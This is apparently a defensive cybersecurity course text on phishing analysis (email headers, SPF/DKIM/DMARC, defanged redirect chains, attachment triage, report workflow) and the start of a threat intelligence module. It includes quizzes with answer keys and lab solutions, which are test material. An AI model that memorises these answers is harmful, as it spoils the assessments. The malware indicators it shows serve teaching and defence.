Trace the path bottom-up. Each Received line states which host received the message (by), from which host it claims to have come (from) and the connecting IP in brackets, plus a timestamp and protocol such as ESMTPS. The sending server's own claim in the from part can be forged, but the IP recorded by your own trusted server is reliable. Your reliability stops at the first server you control: lines below that boundary were written by outsiders and can be fabricated. Compare timestamps for odd delays or time zones that do not match the supposed origin.

Sender identity fields

Several fields describe the sender, and they can differ. The envelope sender is the MAIL FROM used in SMTP and recorded as Return-Path. The header From is the address displayed to the user. Reply-To tells the mail client where replies go, and scammers set it to an address they control. Message-ID is a unique identifier normally ending in the sending system's domain; a Message-ID domain that does not match the From domain, or a format from a bulk mailer, is a clue. X-Originating-IP, X-Mailer and User-Agent headers can add information but are easily forged.

What mismatches mean

A mismatch is a lead, not proof. Legitimate mailing platforms often send with a different Return-Path domain than the visible From. Concern rises when several mismatches line up: a display name claiming to be the CEO, a From address at a free mail domain, a Reply-To at a third domain, a Received chain from an unrelated country, and a first hop that is a residential address. Always read the full raw headers from the original message source rather than the summarized view, and save the message as an .eml file for evidence.

RAW HEADERS (EXCERPT)

```
Received: from mail.example.net (mail.example.net [198.51.100.25])  
  by mx.example.com with ESMTPS; Mon, 2 Mar 2026 08:12:41 +0000  
Received: from [203.0.113.77] (unknown [203.0.113.77])  
  by mail.example.net with ESMTTP; Mon, 2 Mar 2026 08:12:39 +0000  
Return-Path: <bounce@mail.example.net>  
From: "Fake CEO" <ceo@example.com>  
Reply-To: <ceo.office@mail.example.org>
```

WORKED EXAMPLE

A user reports an email from the apparent CEO asking for gift cards. The headers show the lowest Received line was created by 203.0.113.77, an unknown host, and the message was relayed through mail.example.net, whose own record is the trustworthy one. The Return-Path is bounce@mail.example.net, which does not match example.com, and Reply-To points to mail.example.org. Three identity fields disagree, so the analyst treats it as spoofing and begins the report workflow.

KEY TERMS

Received header: A header added by each mail server recording the hop and time.

Return-Path: The envelope sender address used for bounces.

Reply-To: The address that replies are directed to, which can differ from From.

Message-ID: A unique message identifier typically ending in the sender system's domain.

MX record: A DNS record that names the mail servers for a domain.

REMEMBER

- Email passes through MSA and MTA hops, each adding Received headers.
- Read Received lines bottom-up and trust only your own servers' entries.
- Compare From, Return-Path, Reply-To and Message-ID for mismatches.

QUICK CHECK

1. In which order should Received headers be read to trace the path?
 - A) Top to bottom to find the origin
 - B) Bottom to top
 - C) Alphabetically
 - D) Only the first
2. Which header displays the sender name most users see?
 - A) Return-Path
 - B) From
 - C) Received
 - D) Message-ID
3. Which is the most reliable source for the connecting IP?
 - A) The claimed from name in a forged Received line
 - B) The Received line added by your own trusted server
 - C) X-Mailer
 - D) The display name
4. A Reply-To at a different domain than From is
 - A) Always malicious
 - B) A warning sign to weigh with other clues
 - C) Impossible
 - D) A DKIM result

Answers: 1-B 2-B 3-B 4-B

1. The origin is at the bottom; the newest hop is at the top.
2. The From header is shown in the mail client.
3. Your own server records the IP it actually saw.
4. It is a common scam trick but also has legitimate uses.

SPF, DKIM and DMARC

Email was built without sender verification. SPF, DKIM and DMARC add it, and their results are among the first things a phishing analyst reads.

SPF

Sender Policy Framework lets a domain publish, in a DNS TXT record, which servers may send mail for it. Example: `v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all`. The receiver checks the connecting IP against the record for the envelope domain (MAIL FROM or HELO). Results include pass, fail, softfail (~all), neutral and none. The qualifier -all means reject others, ~all means treat as suspicious. SPF has a limit of 10 DNS lookups, and it breaks on forwarding because the forwarder's IP is not in the original record. SPF authenticates the envelope domain, not the visible From.

DKIM

DomainKeys Identified Mail signs selected headers and the body with a private key. The signature appears in a DKIM-Signature header with fields d= (signing domain), s= (selector), h= (signed headers), bh= (body hash) and b= (signature). The receiver fetches the public key from DNS at selector._domainkey.d, for example `sel1._domainkey.example.com`, and verifies it. A pass means the message was signed by that domain and not altered in the signed parts. DKIM survives forwarding but not modifications such as mailing list footers, and an attacker can sign with their own domain.

DMARC and alignment

DMARC ties these together. It is published at `_dmarc.example.com` as a TXT record such as `v=DMARC1; p=reject; rua=mailto:dmarc@example.com; adkim=s; aspf=r`. DMARC passes if SPF or DKIM passes and the passing domain aligns with the header From domain (strict means exact match, relaxed allows the same organizational domain). The policy p= tells receivers what to do on failure: none (monitor), quarantine or reject. Reports in rua give owners visibility. Alignment closes the gap where a spoofer passes SPF for their own domain but shows another domain in From.

Reading Authentication-Results

The receiving server records its verdicts in the Authentication-Results header, for example `spf=pass smtp.mailfrom=bounce.example.net; dkim=pass header.d=example.net; dmarc=fail header.from=example.com`. This shows a message can pass SPF and DKIM for a sender domain yet fail DMARC because neither aligns with the visible From. Pass results do not mean the message is safe, since attackers register their own domains and authenticate them. Conversely, failures can result from misconfiguration. Use authentication as one strong signal alongside content, links and sender reputation.

AUTHENTICATION-RESULTS AND DNS

```
Authentication-Results: mx.example.com;
  spf=pass smtp.mailfrom=bounce@mailers.example.net;
  dkim=pass header.d=mailers.example.net;
  dmarc=fail (p=reject) header.from=example.com
  _dmarc.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  example.com TXT "v=spf1 ip4:192.0.2.0/24 -all"
```

WORKED EXAMPLE

A message shows From: `ceo@example.com`. SPF passes for `mailers.example.net` and DKIM passes with `d=mailers.example.net`, but DMARC fails because neither domain aligns with `example.com`, and `example.com` publishes `p=reject`. The analyst concludes the sender is using a third-party service to impersonate the domain; a correctly enforcing receiver would have rejected it, so the analyst also checks why this gateway delivered it.

KEY TERMS

SPF: A DNS-published list of servers allowed to send for a domain.

DKIM: A cryptographic signature on email verified with a public key in DNS.

DMARC: A policy layer requiring SPF or DKIM to pass with alignment to the From domain.

Alignment: A match between the authenticated domain and the visible From domain.

Selector: A DKIM label that identifies which public key to use.

REMEMBER

- SPF checks sending IPs, DKIM checks signatures, DMARC requires alignment and sets policy.
- Authentication-Results shows what your server decided.
- Passing authentication does not prove a message is safe.

QUICK CHECK

1. Which record type holds SPF and DMARC policies?
 - A) MX
 - B) TXT
 - C) PTR
 - D) SOA
2. DMARC passes when
 - A) Any header is present
 - B) SPF or DKIM passes and the domain aligns with From
 - C) The message is encrypted
 - D) TTL is low
3. What does p=reject instruct receivers to do?
 - A) Monitor only
 - B) Reject messages that fail DMARC
 - C) Sign messages
 - D) Forward messages
4. Why might forwarded mail fail SPF?
 - A) The forwarder IP is not in the original domain's record
 - B) DKIM always breaks
 - C) DNS is offline
 - D) TLS is used

Answers: 1-B 2-B 3-B 4-A

1. Both are published as TXT records.
2. A pass requires authentication plus alignment with the From domain.
3. Reject tells receivers to refuse failing mail.
4. The forwarder is the connecting IP, which the original SPF record does not list.

URL analysis

Most phishing ends with a link to a credential-harvesting page or malware download. Safe link analysis finds the true destination without risking your own system.

Defanging and safe handling

Never click a suspicious link from your normal machine. Defang URLs when copying them into tickets and chats: replace http with hxxp and dots with [.] , for example hxxps://login[.]example[.]com/verify. Open or fetch links only in an isolated sandbox, a URL scanner such as urlscan.io, or a disposable VM, with no corporate credentials. Extract the real URL from the HTML source because the visible text of a link can differ from its href. Hover or inspect to compare the displayed address with the actual target.

Anatomy and lookalikes

Read a URL right to left from the first single slash: scheme, host, path, query. The registrable domain (for example example.com) is what matters, not subdomains, so login.example.com.attacker.example is on attacker.example. Lookalike domains use typos (examp1e.com), added words (example-support.com), a different TLD (example.co), or internationalized characters that resemble Latin letters (homograph attacks, shown as punycode starting xn--). Also watch for the @ character and for IP addresses in place of names. Brand names in paths or subdomains are decoration, not proof.

Redirects and shorteners

Attackers hide targets behind URL shorteners, open redirects on trusted sites, and multi-hop redirect chains. Follow the chain in a sandbox and record each hop, noting HTTP 301 or 302 Location headers, meta refresh tags and JavaScript redirects. Some pages check the visitor and show harmless content to scanners, so results can vary by geography, user agent or time. Landing pages that mimic a login portal, ask for a password and one-time code, or load assets from a cloned brand site are credential harvesters. Some kits proxy the real site and steal session cookies.

Reputation and pivoting

Check the URL and domain in reputation services such as VirusTotal, urlscan.io, Google Safe Browsing and your proxy's category. Examine WHOIS for domain age (days old is suspicious), the registrar, name servers, and the TLS certificate issuance time, often minutes before the campaign. A clean reputation does not clear a new domain. Pivot on the hosting IP and certificate to find sibling domains, and search proxy and DNS logs to see who in your organization visited. Block confirmed indicators at the proxy and DNS and submit the page to takedown channels.

REDIRECT CHAIN (DEFANGED)

```
1. hxxps://bit[.]example/aB3x 301 ->
2. hxxps://news[.]example[.]org/out?u=... 302 ->
3. hxxps://login-example-secure[.]example[.]net/verify 200
Domain age: 2 days Cert issued: 3 hours ago
Page: password + OTP form, posts to /collect.php
```

WORKED EXAMPLE

A phishing email's button text says example.com/account but the href goes to a shortener. In a sandbox, the analyst follows three hops to login-example-secure.example.net, registered two days earlier, with a certificate issued hours ago. The page imitates the company's sign-in and posts credentials to /collect.php. She records each hop defanged, blocks the final domain, and searches proxy logs, finding two users who visited.

KEY TERMS

Defang: Modify a URL or IP so it cannot be clicked or resolved accidentally.

Homograph attack: Using look-alike Unicode characters to imitate a domain.

Punycode: An ASCII encoding of internationalized domain names beginning with xn--.

Open redirect: A flaw that lets an attacker send users onward through a trusted site.

Credential harvesting: Capturing usernames and passwords through a fake login page.

REMEMBER

- Handle links safely: defang and use a sandbox.
- Read the registrable domain and watch lookalikes and redirect chains.
- Pivot on domain age, certificate and logs, then block.

QUICK CHECK

1. What does hxxps://login[.]example[.]com demonstrate?
 - A) Encryption
 - B) Defanging
 - C) Hashing
 - D) Redirecting
2. In login.example.com.attacker.example, the registrable domain is
 - A) example.com
 - B) attacker.example
 - C) login.example.com
 - D) com
3. Which factor makes a domain suspicious?
 - A) Registered two days ago with a new certificate
 - B) Registered ten years ago
 - C) Owned by a known brand
 - D) Hosted at a large CDN with long history
4. Why can a scanner see harmless content while users see a phish?
 - A) Cloaking based on visitor characteristics
 - B) DNS is faster
 - C) TLS is stronger
 - D) It cannot happen

Answers: 1-B 2-B 3-A 4-A

1. Replacing parts of the URL prevents accidental clicks.
2. The part before the final public suffix label defines the owner: attacker.example.
3. Very new domains are common in phishing campaigns.
4. Kits detect scanners and show benign pages to them.

Attachment analysis and sandboxing

Attachments deliver malware that executes on the endpoint. Safe, structured analysis tells you what a file does without infecting anything.

Risky file types

Executables (.exe, .scr), script files (.js, .vbs, .ps1, .hta), and Office documents with macros (.docm, .xlsm, and older OLE formats .doc and .xls) are classic. Since Microsoft blocks macros in files from the internet through the Mark-of-the-Web, attackers shifted to container formats: ISO and IMG disk images, ZIP and RAR archives, and Windows shortcut (.lnk) files that launch commands. HTML attachments create local phishing pages or smuggle payloads. PDFs may carry links. OneNote and password-protected archives are also seen. Double extensions such as invoice.pdf.exe and long spaces before the extension disguise the true type.

Static analysis and hashing

First calculate the SHA-256 hash with sha256sum and search it in VirusTotal or internal intelligence; an existing verdict saves time. Identify the true file type from magic bytes rather than the extension: MZ for Windows executables, PK for ZIP and modern Office, D0 CF 11 E0 for OLE documents, %PDF for PDF. Tools such as file, strings, oledump or olevba reveal macro code, auto-execute functions like AutoOpen and Document_Open, suspicious calls to Shell or CreateObject, and embedded URLs. For LNK files, inspect the target and arguments, which often hold a PowerShell command.

Sandbox detonation

A sandbox runs the file in an isolated virtual machine and records behavior: processes spawned, files and registry keys changed, network connections and DNS queries, screenshots and dropped files. The report usually gives a verdict or score and maps behavior to ATT&CK techniques. Look for macro-to-PowerShell chains, connections to rare hosts, persistence and credential access. Be aware of evasion: samples may sleep, check for virtual machines or user interaction, or need a password or specific document location. A clean report is not proof of safety, so combine it with static findings.

Handling and response

Handle samples only in an isolated analysis environment, never on a corporate laptop, and keep them in a password-protected archive, conventionally with the password infected. Record file name, size, hashes, sender, time and the sandbox report link. Extract indicators such as domains, IPs, mutexes and dropped file hashes and use them for hunting across email and endpoint data. If any user opened the attachment, check endpoint telemetry for the same behaviors and treat that host as potentially compromised. Share findings with your email security team to improve blocking rules.

STATIC TRIAGE (EXAMPLE)

```
$ sha256sum invoice_Q1.docm
0f1e...a9 invoice_Q1.docm
$ file invoice_Q1.docm
Microsoft Word 2007+ document
$ olevba invoice_Q1.docm
AutoOpen | Auto-execute
Shell | Suspicious
PowerShell | Suspicious
URL: http://203.0.113.50/a.txt
```

WORKED EXAMPLE

An attachment named invoice_Q1.pdf.exe arrives from an unknown sender. The analyst notes the double extension, confirms MZ magic bytes, hashes it and finds no prior reports. In a sandbox, the file spawns cmd.exe, creates a Run key for persistence and contacts 203.0.113.50 every minute. The verdict is malicious. She records the hash and IP, and searches the mail logs for other recipients of the same hash.

KEY TERMS

Mark-of-the-Web: A marker on files from the internet that triggers extra warnings and macro blocking.

Magic bytes: The first bytes of a file that identify its true type.

Sandbox: An isolated environment for running samples and observing behavior.

Macro: Embedded code in an Office document that can run automatically.

Detonation: Executing a sample in a sandbox to record what it does.

REMEMBER

- Know risky types: macros, scripts, ISO, LNK, HTML and archives.
- Hash, identify true type, then use static tools and a sandbox.
- Extract indicators, hunt for other recipients and handle samples safely.

QUICK CHECK

1. Which bytes begin a Windows executable?

- A) MZ
- B) PK
- C) %PDF
- D) GIF8

2. Why do attackers use ISO or LNK files?

- A) They are smaller
- B) They can bypass Mark-of-the-Web protections or launch commands
- C) They are encrypted by default
- D) They are faster

3. A clean sandbox report means

- A) The file is proven safe
- B) Not necessarily; evasion is possible
- C) The file is signed
- D) Hash is unique

4. Where should samples be analyzed?

- A) On a corporate laptop
- B) In an isolated analysis environment
- C) On a shared drive
- D) On a phone

Answers: 1-A 2-B 3-B 4-B

1. MZ is the DOS and PE header signature.
2. Containers and shortcuts help evade macro and download warnings.
3. Samples may delay or detect analysis environments.
4. Isolation protects the network and your devices.

User-report workflow

Users are your best phishing sensor. A fast, repeatable response limits how many people click and trains staff to keep reporting.

Intake and acknowledgment

Reports arrive through a report button, a shared mailbox such as phish@example.com, or tickets. Acknowledge quickly so the user knows it was received, and ask them to leave the message alone unless it is already forwarded as an attachment. Forward as attachment (.eml) preserves headers, which inline forwarding destroys. Ask three questions: did you click, did you open an attachment, did you enter credentials. Triage by those answers, because a user who entered a password changes the situation from a nuisance to an incident that needs credential resets and sign-in review.

Analysis and verdict

Analyze the headers, authentication results, sender reputation, URLs and attachments using the methods learned. Choose a verdict: malicious phishing, malicious malware delivery, spam or marketing, simulated phishing from your own training program, or legitimate. Note the campaign indicators: sender address, subject, sending IP, URLs, domains and attachment hashes. Check whether the same message has been seen before and whether a threat intelligence report matches. Keep the analysis time boxed for commodity phish and escalate when targeted or when someone interacted with it.

Scope, purge and block

Search the mail system for the same sender, subject, attachment hash or URL to identify all recipients. Purge or quarantine the messages from all mailboxes using the platform's compliance search or a mail security tool, and record how many were removed. Block the sender domain, IP and URLs at the mail gateway, proxy and DNS, and add file hashes to the endpoint blocklist. Search proxy and DNS logs for clicks to find users who visited. For users who entered credentials, reset passwords, revoke sessions and tokens, and review mailbox rules and recent sign-ins for abuse.

Close the loop and report

Reply to the reporter with the verdict and thanks, which encourages more reports. Document the case: timeline, indicators, recipients, actions and outcome. Report phishing externally where useful: to the abused brand or hosting provider for takedown, to your national CERT, or to services such as the Anti-Phishing Working Group, and submit samples to your email security vendor. Feed indicators into threat intelligence and update detections or user training based on what slipped through. Measure time to respond, report rate and click rate to see whether the program is improving.

CASE SUMMARY (EXAMPLE)

```
Case 2026-0315 Reported by user: a.fake@example.com (.eml attached)
Verdict: credential phish (fake document share)
IOCs: hxxps://login-example-secure[.]example[.]net, sender no-reply@mailers.example.net
Recipients found: 42 Purged: 42 Clicked: 3 Entered creds: 1
Actions: URL blocked, sender blocked, 1 password reset, sessions revoked
```

WORKED EXAMPLE

A user forwards a suspicious document-share email as an attachment. Analysis shows a credential-harvesting link on a two-day-old domain. A mailbox search finds 42 recipients; all are purged. Proxy logs show three clicks, and one user admits entering their password. That account is reset, sessions are revoked and sign-in logs reviewed for unfamiliar logins. The domain and sender are blocked, and the reporter gets a thank-you reply with the verdict.

KEY TERMS

Report button: A mail client feature that sends a suspicious message to the SOC.

Purge: Removing a malicious message from all recipient mailboxes.

Compliance search: A mail platform function to find messages across mailboxes.

Session revocation: Invalidating a user's active sign-in sessions and tokens.

Takedown: A request to remove a malicious site or resource from the internet.

REMEMBER

- Acknowledge, collect the .eml and ask what the user did.
- Analyze, scope across mailboxes, purge and block indicators.
- Handle compromised accounts, reply to the user and document and report.

QUICK CHECK

1. Why ask users to forward the message as an attachment?
 - A) It is faster
 - B) It preserves the original headers
 - C) It encrypts it
 - D) It removes links
2. What is the first question to ask a reporter?
 - A) Their favorite color
 - B) Did you click, open an attachment or enter credentials
 - C) Their salary
 - D) Which phone they use
3. After finding all recipients you should
 - A) Ignore them
 - B) Purge the message and block indicators
 - C) Reply to attacker
 - D) Wait a week
4. A user entered a password into the phish. What is required?
 - A) Nothing
 - B) Password reset, session revocation and sign-in review
 - C) A new monitor
 - D) DNS change

Answers: 1-B 2-B 3-B 4-B

1. Inline forwarding loses the original header information.
2. Interaction determines severity and next steps.
3. Purge and block to stop further exposure.
4. Stolen credentials must be invalidated and checked for abuse.

Trace the headers

SCENARIO

A user reported an email claiming to be from the CEO. The log viewer shows the raw headers in the order they appear in the file.

OBJECTIVE

Order the Received headers, find the true originating IP and spot the mismatched Return-Path.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the header view.

Simulator shows:

Three Received lines shown top to bottom: R1 (by mx.example.com), R2 (by mail.example.net), R3 (from [203.0.113.77]).

- 2 **Do:** Click Sort bottom-up.

Simulator shows:

Order: R3 (08:12:39) -> R2 (08:12:39) -> R1 (08:12:41).

- 3 **Do:** Select R3.

Simulator shows:

from [203.0.113.77] (unknown) by mail.example.net, ESMTTP. IP is the first external hop.

- 4 **Do:** Select R2, which your gateway recorded.

Simulator shows:

mail.example.net [198.51.100.25] -> relayed to mx.example.com.

- 5 **Do:** Open the identity fields.

Simulator shows:

From: ceo@example.com / Return-Path: bounce@mail.example.net / Reply-To: ceo.office@mail.example.org

- 6 **Do:** Flag the mismatches.

Simulator shows:

Return-Path and Reply-To domains differ from From.

ANSWER

The originating IP is 203.0.113.77, the first hop recorded by mail.example.net. The Return-Path (mail.example.net) and Reply-To (mail.example.org) do not match the From domain example.com, indicating spoofing or impersonation.

Hint shown in the app: Read the bottom Received line first.

Read auth results

SCENARIO

The gateway marked a message as failing authentication. The config editor shows the Authentication-Results header and a sample DNS zone file for example.com.

OBJECTIVE

Interpret SPF, DKIM and DMARC lines and fix the failing SPF TXT record.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the header.

Simulator shows:

```
spf=fail smtp.mailfrom=example.com; dkim=none; dmarc=fail (p=reject) header.from=example.com; connecting IP 192.0.2.44
```

- 2 **Do:** Open the zone file.

Simulator shows:

```
example.com TXT "v=spf1 ip4:192.0.2.0/28 -all"
```

- 3 **Do:** Check whether 192.0.2.44 is covered.

Simulator shows:

```
192.0.2.0/28 covers .0 to .15. 192.0.2.44 is NOT covered.
```

- 4 **Do:** Edit the record to ip4:192.0.2.0/24 (the company's real mail subnet).

Simulator shows:

```
Record updated: v=spf1 ip4:192.0.2.0/24 -all
```

- 5 **Do:** Run Validate.

Simulator shows:

```
SPF syntax valid. Lookups: 0/10. 192.0.2.44 -> pass.
```

- 6 **Do:** Review DKIM.

Simulator shows:

```
dkim=none: message was not signed. Note for the mail team to enable signing.
```

ANSWER

SPF failed because the sending IP 192.0.2.44 was outside the published range 192.0.2.0/28; changing it to the correct 192.0.2.0/24 fixes SPF, and DMARC passes once SPF aligns. DKIM was not present and should also be enabled.

Hint shown in the app: Check whether the connecting IP lies within the CIDR range in the record.

Analyze the URL

SCENARIO

The sandbox browser has loaded a link from a phishing email. The proxy view logs every hop. Domains are fictional.

OBJECTIVE

Unwind the redirect chain, defang each hop and identify the credential harvesting page.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the proxy log.

Simulator shows:

Hop 1: `http://bit.example/aB3x -> 301`

- 2 **Do:** Next hop.

Simulator shows:

Hop 2: `https://news.example.org/out?u=... -> 302`

- 3 **Do:** Next hop.

Simulator shows:

Hop 3: `https://login-example-secure.example.net/verify -> 200 (HTML)`

- 4 **Do:** Defang using the tool.

Simulator shows:

`hxxp://bit[.]example/aB3x > hxxps://news[.]example[.]org/out > hxxps://login-example-secure[.]example[.]net/verify`

- 5 **Do:** View the page source.

Simulator shows:

Form with fields user, pass, otp; action="/collect.php"; logo loaded from a cloned brand domain.

- 6 **Do:** Run Domain Info.

Simulator shows:

Registered 2 days ago; certificate issued 3 hours ago.

ANSWER

The final hop, `hxxps://login-example-secure[.]example[.]net/verify`, is the credential harvesting page. It asks for a password and one-time code, posts to `/collect.php` and sits on a two-day-old lookalike domain.

Hint shown in the app: The last hop that serves a form is usually the harvester.

Phish response

SCENARIO

A reported email with a credential-phish link is waiting in the case queue. Walk through the workflow in the scenario simulator.

OBJECTIVE

Work the report end to end: verdict, mailbox search, purge, indicator block and user reply.

STEPS IN THE SIMULATOR

1 Do: Choose Verdict.

Simulator shows:

Options: spam, phish, legitimate, training simulation. Select phish.

2 Do: Run mailbox search for sender and subject.

Simulator shows:

42 messages found in 42 mailboxes.

3 Do: Purge.

Simulator shows:

42 messages moved to quarantine. Purge confirmed.

4 Do: Block indicators.

Simulator shows:

Sender, domain and URL added to gateway and proxy blocklists.

5 Do: Check proxy logs for clicks.

Simulator shows:

3 users visited. 1 submitted a POST to /collect.php.

6 Do: Reset the compromised account.

Simulator shows:

Password reset and sessions revoked for user a.fake.

7 Do: Reply to the reporter.

Simulator shows:

Thank-you message sent with the verdict.

ANSWER

Correct final state: verdict phish, 42 messages purged, indicators blocked, one compromised account reset with sessions revoked, other two users advised, and the reporter thanked with the case documented.

Hint shown in the app: Always check who clicked, not only who received it.

Phishing and Email Analysis: 10 questions, 80% to pass

1. Which Received line is the earliest hop?
 - A) The top line
 - B) The bottom line
 - C) The middle line always
 - D) The one with the longest text
2. Return-Path stores
 - A) The envelope sender used for bounces
 - B) The display name
 - C) The subject
 - D) The signature
3. SPF verifies
 - A) The body hash
 - B) Whether the sending IP is authorized for the envelope domain
 - C) The attachment
 - D) The TLS version
4. The DKIM public key is found at
 - A) selector._domainkey.domain
 - B) _dmarc.domain
 - C) domain MX
 - D) domain A
5. DMARC alignment means
 - A) Domain of SPF or DKIM matches the From domain
 - B) Message is encrypted
 - C) Header is long
 - D) DNS TTL is low
6. The registrable domain of secure.login.example.com.attacker.example is
 - A) attacker.example
 - B) example.com
 - C) login.example.com
 - D) secure.login
7. Which is a risky attachment type that avoids Mark-of-the-Web macro blocking?
 - A) Plain text
 - B) ISO or LNK
 - C) PNG
 - D) CSV
8. Magic bytes D0 CF 11 E0 indicate
 - A) PDF
 - B) OLE document such as legacy Office
 - C) ZIP
 - D) Executable
9. Best way to preserve headers of a reported email is
 - A) Screenshot
 - B) Forward as attachment (.eml)
 - C) Copy the body
 - D) Print
10. After finding a click on a phish, you should
 - A) Do nothing
 - B) Check whether credentials were entered and reset them if so
 - C) Delete the SOC
 - D) Disable email

Answers: 1-B 2-A 3-B 4-A 5-A 6-A 7-B 8-B 9-B 10-B

1. New headers are added on top so the origin is at the bottom.
2. Return-Path records the SMTP MAIL FROM address.
3. SPF maps sending IPs to a domain's authorized list.
4. The selector forms the DNS name that holds the key.
5. Alignment ties authentication to the visible From domain.
6. Everything is a subdomain of attacker.example.
7. Containers and shortcuts are used as alternate delivery vectors.
8. That signature begins OLE compound files.
9. An .eml keeps full original headers.
10. Click and credential submission determine response.

Threat Intelligence

Intermediate | 6 lessons | 4 simulated labs | checkpoint | about 4h 40m

Threat Intelligence teaches you to turn raw indicators into decisions. You will separate strategic, operational, tactical and technical intelligence and follow the intelligence cycle, use the Pyramid of Pain to value behaviors over hashes, read STIX 2.1 and TAXII, work in MISP with tags, galaxies and TLP, apply the Diamond Model to scope intrusions, and enrich indicators with OSINT safely. Good intelligence focuses defenders on what matters and shortens the time from report to protection.

BY THE END YOU CAN

- + Differentiate strategic, operational and tactical intelligence
- + Use IOCs, TTPs, STIX/TAXII and MISP to enrich and share intel
- + Apply the Diamond Model and OSINT to scope a threat

IN THIS MODULE

Lesson 1 Intelligence types and the intel cycle

Lesson 2 IOCs vs TTPs

Lesson 3 Intel formats: STIX and TAXII

Lesson 4 MISP and intel platforms

Lesson 5 Diamond Model and intel-driven defense

Lesson 6 OSINT for analysts

Lab 1 Enrich the indicator (Web proxy)

Lab 2 Sort IOCs and TTPs (Diagram builder)

Lab 3 Read a STIX bundle (Code editor)

Lab 4 Build a Diamond model (Diagram builder)

Checkpoint 10 questions, 80% to pass

Intelligence types and the intel cycle

Threat intelligence is analyzed information that supports decisions. Knowing the types and the cycle keeps you from collecting data nobody can use.

Four levels of intelligence

Strategic intelligence is high-level and non-technical, aimed at executives: which adversaries target the sector, trends, risks and costs, and it informs budget and policy. Operational intelligence describes campaigns and adversary intent, timing and methods, and helps defenders and incident leaders anticipate attacks. Tactical intelligence covers tactics, techniques and procedures (TTPs) and tools, which guide detection engineering and hunting. Technical intelligence consists of concrete indicators such as IP addresses, domains, file hashes and URLs, consumed by machines and analysts, and it expires quickly. Each audience needs a different format and level of detail.

The intelligence cycle

The classic cycle has six phases. Direction sets the requirements: the questions stakeholders need answered, called priority intelligence requirements (PIRs). Collection gathers raw data from internal logs, open sources, vendors, sharing communities and incident reports. Processing normalizes and filters it, for example parsing feeds and deduplicating. Analysis turns it into judgments, applying structured methods and stating confidence. Dissemination delivers products to the right audience in a usable form. Feedback checks whether the product helped and refines the next round of requirements.

Quality of intelligence

Good intelligence is relevant, timely, accurate, actionable and clearly attributed to a source. Sources are rated for reliability and information for credibility, often with an Admiralty-style scale (A to F for source, 1 to 6 for information). Analysts express confidence as low, moderate or high and separate facts from assessments with estimative language such as likely or almost certain. Bias matters: confirmation bias leads you to favor evidence that fits your theory, so consider alternative hypotheses. Intelligence that is not tied to the organization's assets and risks is just noise.

Putting intelligence to work

Link each type to a decision. A strategic brief supports a decision to invest in email security. An operational report on a ransomware crew targeting the sector leads to a patching sprint before the expected window. Tactical details lead to new detection rules for specific ATT&CK techniques. Technical indicators feed blocklists and SIEM searches. Remember that indicators age: an IP may be reused by innocent tenants within days, so record when it was observed and set an expiry. Measure value by outcomes such as detections created, incidents prevented or time saved.

INTEL REQUIREMENT AND PRODUCT

PIR-3: Which groups target regional retail with POS malware, and how?
 Product type: Operational report Audience: CISO, IR lead
 Confidence: moderate Source reliability: B2 (usually reliable, probably true)
 Actions: add 6 detections (T1059, T1021), patch POS service by 2026-04-01

WORKED EXAMPLE

A retail SOC receives a vendor report about a crew using point-of-sale malware. The intel team maps it to a requirement from the CISO, rates the source B2, and writes a one-page operational summary with moderate confidence. Tactical details go to detection engineers, and the hashes and IPs go to the SIEM with a 30-day expiry. After two weeks the team asks the engineers whether the new rules fired, which is the feedback phase.

KEY TERMS

PIR: A priority intelligence requirement, a key question the intel effort must answer.

Strategic intelligence: High-level analysis for executives about risks and trends.

Tactical intelligence: Details on adversary TTPs used by defenders to build detections.

Dissemination: Delivering finished intelligence to its audience.

Confidence level: An analyst's stated degree of certainty in an assessment.

REMEMBER

- Strategic, operational, tactical and technical intel serve different audiences.
- The cycle runs direction, collection, processing, analysis, dissemination, feedback.
- Rate sources, state confidence and tie intel to decisions.

QUICK CHECK

1. Who is the typical audience of strategic intelligence?

- A) Packet analysts
- B) Executives and decision makers
- C) Firewalls
- D) Developers only

2. Which phase sets the questions to be answered?

- A) Collection
- B) Direction
- C) Dissemination
- D) Processing

3. Which type consists of IPs, domains and hashes?

- A) Strategic
- B) Technical
- C) Policy
- D) Legal

4. What is the purpose of the feedback phase?

- A) Delete data
- B) Check usefulness and refine requirements
- C) Collect more data randomly
- D) Publish publicly

Answers: 1-B 2-B 3-B 4-B

1. Strategic intelligence supports high-level decisions.
2. Direction defines requirements.
3. Technical intelligence consists of machine-readable indicators.
4. Feedback improves the next cycle.

IOCs vs TTPs

Defenders often chase hashes and IPs that attackers change in minutes. Understanding the Pyramid of Pain shows where to invest for lasting detection.

Indicators of compromise

An indicator of compromise (IOC) is an artifact observed on a network or host that suggests intrusion: file hashes, IP addresses, domain names, URLs, email addresses, registry keys, mutex names and user-agent strings. They are easy to share and match automatically, which makes them useful for quick blocking and for scoping an incident once you know the malware. Their weakness is short life: attackers recompile to change a hash, rent new servers for new IPs and register new domains cheaply, so an IOC list can be stale within days.

The Pyramid of Pain

David Bianco's Pyramid of Pain ranks indicator types by how much it hurts an adversary when you detect and deny them. From bottom to top: hash values (trivial to change), IP addresses (easy), domain names (simple), network and host artifacts such as unique user agents, URI patterns and registry keys (annoying), tools (challenging), and at the top, TTPs (tough). Denying a hash costs the adversary a recompile; denying a behavior forces them to redesign their method. The higher the level, the harder it is to detect, but the more durable the value.

TTPs and ATT&CK

Tactics, techniques and procedures describe how an adversary operates. A tactic is the goal, such as initial access or lateral movement. A technique is the method, such as T1566 Phishing or T1021.002 SMB/Windows Admin Shares. A procedure is the specific way a group implements it. MITRE ATT&CK catalogs these and links techniques to known groups and software. Detecting a behavior such as an Office process spawning PowerShell, or a service created remotely over SMB, catches many malware families and variants without needing their hashes.

Using both

IOCs and TTPs are complementary. Feed fresh IOCs into blocklists and retrospective searches for fast coverage, with expiry times and context such as source and confidence. Invest engineering time in behavior-based detections mapped to ATT&CK and test them with adversary emulation. When writing intel reports, include both the indicator table and a description of behaviors, so readers can hunt for what remains after the infrastructure changes. Measure coverage by technique, and prioritize techniques used by groups that target your sector.

PYRAMID OF PAIN

```
TTPs -> Tough
Tools -> Challenging
Network/Host artifacts -> Annoying
Domain names -> Simple
IP addresses -> Easy
Hash values -> Trivial
```

WORKED EXAMPLE

